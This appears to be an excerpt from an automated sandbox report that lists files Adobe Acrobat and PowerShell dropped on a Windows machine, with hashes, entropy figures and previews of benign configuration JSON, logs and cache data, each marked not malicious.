Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.267776695738627
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6n4H9VoZcg1vRcR0YcuIoAvJf21rPeUkwRe9:YvXKXu4HEZc0vyG+16Ukee9
MD5:	B14CEBDE46D7B65C4263F7B91981A47A
SHA1:	8D5A2DDC4B45EC16E8E3F659167CFEC361BB2CD1
SHA-256:	3CEBBAE9364C68ACE8D3647BDAB43FD062F6DE5E2D3EF45A4D5E602D7DEAFBF8
SHA-512:	5B0690A1F3E12568B2C1738DAE7D35E32C4BCAD4EB4BECFE4D2F557D2C3F44125B25966174114B4A5DDA7E7D6D1F2D88BCD717015A9EAC1E8F5133027DC188E0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ceb294c9-07ea-49fc-99e2-207d71744906","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735777831,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666617550888318
Encrypted:	false
SSDEEP:	24:Yv6XbEzvXamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS8:Yv73BgkDMUJUAh8cvM8
MD5:	4BE827C5808C3216B844D733C8880A1D
SHA1:	24AF1DFF35CE766ABA3AA6FB26736CD2C22079D5
SHA-256:	58789315E9213ABE869ABCB9FE174789983C4C0B21DFCB5C9D8837BD2170FDF1
SHA-512:	F0576CC3AAECA1AE3D8353BA89082D2290EAC50153DB43A4F9C88C29382BF6AB649D464894524787D76E2B75E9D45459BF2ACC02EAC4FBD064E98B918FE5871C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ceb294c9-07ea-49fc-99e2-207d71744906","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735777831,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.244958218086377
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6n4H9VoZcg1vRcR0YcuIoAvJfshHHrPeUkwRe9:YvXKXu4HEZc0vyGUUUkee9
MD5:	6AF4DB9B9F1BC0A350B22239AB409DC5
SHA1:	84D898138805C93909587E2D665677EED4A45AB9
SHA-256:	4202F1EE0B8CC6993162387A38E649ED06529995896EE815AD45E2C45E4ACF05
SHA-512:	57F2B95C59157E686E067E9BC0FA2DC50570AFD773B0F1DFB6724014C6C2D82B41C41CE730E91617E3E6CE32DB4549A5107B00B3F369AEF93D9BD261A61E9FF0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ceb294c9-07ea-49fc-99e2-207d71744906","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735777831,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.252676458445796
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6n4H9VoZcg1vRcR0YcuIoAvJTqgFCrPeUkwRe9:YvXKXu4HEZc0vyGTq16Ukee9
MD5:	20FCF21E1477CC511B8D768CA57482D2
SHA1:	D22D5A9801A7CACD6D4F24159C6E127592A32A0C
SHA-256:	15D714B970E71C38210C8D4C253868F4E92478A8202DBA0FA5EA443EA5FEACDF
SHA-512:	7035A5B5250FB6E06450E8CC0D4E99CDE77103A5E04B669F38CB85BE640A71CAE0CA3392DAD38720AAB16DE7F5BC1FF29A14AAF291C5CBC37D98A32EF3F71744
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ceb294c9-07ea-49fc-99e2-207d71744906","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735777831,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.142708144960051
Encrypted:	false
SSDEEP:	24:Y6FaaXayvGv2igAAFbNg5m1d2NyoEjT8j0SiOxCe9ugm2l2LSsqBiu55s9LCq+YS:YDgpJC6SXwgm8eZu5W9Lt+YS
MD5:	6161B48E023F7B8B68B0B523591E7181
SHA1:	B23AF2AE9B570258437F97DBFFA067293B20B1E1
SHA-256:	B78A238C298B3CFDC9D25E0015692F3B098C56F41E655F539173F26F504F8E71
SHA-512:	851C12A2D53D2E956D1D8BE8FCC392DBEC5120BD595756D321C6CC554BA5F74CA75603C42BB783F8D98557F255EC99820ACBBD0536EC3525496438DAD487C83C
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"70366727f2af35689531c545d8d77691","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736561882000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a4384f2c8663e4db854df786224ecdc8","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736561882000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"06bcac102a703b2f58d081e5d3956b0d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736561882000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"445eb81f1af53cec62cc4e683436c82d","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736561882000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"d37280d086bb966df9582291d2073cd1","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736561882000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e3ec1ecc23826876cca9cb8d792c4558","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1875712724796885
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUJSvR9H9vxFGiDIAEkGVvpx:lNVmswUUUUUUUUJ+FGSItt
MD5:	61185B723AA9C4842535099950112A69
SHA1:	C3E8DF35632A583608A7781A842EC9348518A4EA
SHA-256:	A1A48113C3B0D1468CCB29AE164AB1F5DDC2F27F88ED1512E2F874A0A1EAF5C8
SHA-512:	EA907D7099FEA628E8F4223F432EDBD0C083B72EAA4A6991D21A22E9D308A48929C6CEEDB834DAC44068566AF6EEF66822AD0268FFCA86241339960E4C51398B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6078182229996518
Encrypted:	false
SSDEEP:	48:7MVKUUUUUUUUUUhvR9H9vxFGiDIAEkGVv+qFl2GL7msn:7rUUUUUUUUUUFFGSItoKVmsn
MD5:	67935A363D3156EDD0C3A73B06531F72
SHA1:	39D740D0598B9B01BC59C35BEE45E7E42111E4ED
SHA-256:	2AAAF6205C31127F62ED1E24907F7B966EC2827A5011AD5B60A7BC5FF243ED59
SHA-512:	69FB477A80D76C5DCA9CEEBD01EA3415BA438BA0480F0204637D94222CBD84EFC3D8A7C71A90A78F9B7DC7795F5865EDDBE7FB168B0409BB744ADB5B5950553A
Malicious:	false
Preview:	.... .c.....W..=......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgrYVAGk4h8k+b7Pw4gUc9893W8Yyu:6a6TZ44ADErYaGk4h8PPKiI8K
MD5:	F21E8C8F465D76B893B2A8B9F306402A
SHA1:	C4B669229375379719D4A8CDB59ABF108B96FD92
SHA-256:	55A05661279D90F39F14F3557C065474F7351E5732266253F8CBC73D7A5CE0E8
SHA-512:	F81C4F7E9DB31464F4C6CCF64ABC838710E1287EBB3763F9532BA90531A7B8A34EDDF0976C3FB85150C481BAD03616C065A76FB374476E9D4C8865C4F585D749
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIf2491.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.503482856767026
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsI:Qw946cPbiOxDlbYnuRK+by
MD5:	35D75656986E1B904A0184E1339DD17A
SHA1:	33BAD7132D9BDD6804749D9C8B6E461EB5B31C8E
SHA-256:	A91A2A9BD3E3F29C0676849BE5786FBFE31687C89510FEE5C841C30AAA18E07F
SHA-512:	F1808C9F38C640C8EE7A5281A5303A8FF7B6BD7CFDF0BB3D1E8477A4A8ACE9D3B1D235D40406F0A66554DE786999CB0DFA0321C65CAF00BE90E25339F38195F3
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.1.8.:.0.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pmcpkeh5.5dt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rzagl1i4.fky.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-17-58-294.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.379502197727332
Encrypted:	false
SSDEEP:	384:wbPm/I14bpeGy4vvLpat6EKXnUvQ4Ew4sbWYCmYOA9fhPcCXmBpHIHIpkM6D780t:JEq
MD5:	1E5083493546DB05E1F98FAD50D65D7D
SHA1:	72835AE38B5AA59E985F21F3B87A628468A02CD7
SHA-256:	515583425DF14B10FC8114B2F82C6DED53F4874FF179A06EE8F1E6551C726112
SHA-512:	70E4B75D6AC962C629B899397F626B3A82970D569522AFA33333A434F2D7EDB7396721B4CDDFB6163A1D86567B46B1F7E29C84AEB613C61E0A383FAE39433F96
Malicious:	false
Preview:	SessionID=86795dd5-b53b-46f7-bd0c-3a1456c2e8cf.1736561878304 Timestamp=2025-01-10T21:17:58:304-0500 ThreadID=7712 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=86795dd5-b53b-46f7-bd0c-3a1456c2e8cf.1736561878304 Timestamp=2025-01-10T21:17:58:305-0500 ThreadID=7712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=86795dd5-b53b-46f7-bd0c-3a1456c2e8cf.1736561878304 Timestamp=2025-01-10T21:17:58:305-0500 ThreadID=7712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=86795dd5-b53b-46f7-bd0c-3a1456c2e8cf.1736561878304 Timestamp=2025-01-10T21:17:58:305-0500 ThreadID=7712 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=86795dd5-b53b-46f7-bd0c-3a1456c2e8cf.1736561878304 Timestamp=2025-01-10T21:17:58:305-0500 ThreadID=7712 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.392920571202004
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2ru:58
MD5:	084F86B293F9C8074EC42A37AB568D72
SHA1:	0C72454C362915DD4D721F7ABD51C5BCC9074BF0
SHA-256:	63BCC63621D4FBC6A78267EBE41636FF8FD6BB0578D31C8700048B9BB1C8E272
SHA-512:	7B357C12A72772E2FDE8C90890E05887B1487A8DFCA99A4D3EDCDB6589B821F6F51FFC691639B86341C6680121FC7F86DAD147CF2A1B6FC289F147787A2CE9BC
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\63d9e789-fd55-4f75-b33c-531572dfca9c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\990eb997-301b-421d-8e2c-661a666ac556.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/n5ZwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:xZwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	E78E4D1CA18BE28748F65C3A192DAFB2
SHA1:	78AD6025CB470EFB9ECA8FF1ED41F617372D1F9F
SHA-256:	F4B25F5C5BE48E151080D9CC24C8A4662CBB591A6B32037DB8D7ADE1828D8849
SHA-512:	E170C9BD3B6BB575244FCD380334D763C30352586F60824A67868EAE8E895BE0601D51670FCC304724BDF321CE8EF64881E606C9CF4C18C5817DFB5A679E44D6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\bb30ee45-067b-478e-ad68-25583a849556.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c53034fb-d8ea-4b63-87d3-6eff74a2050c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
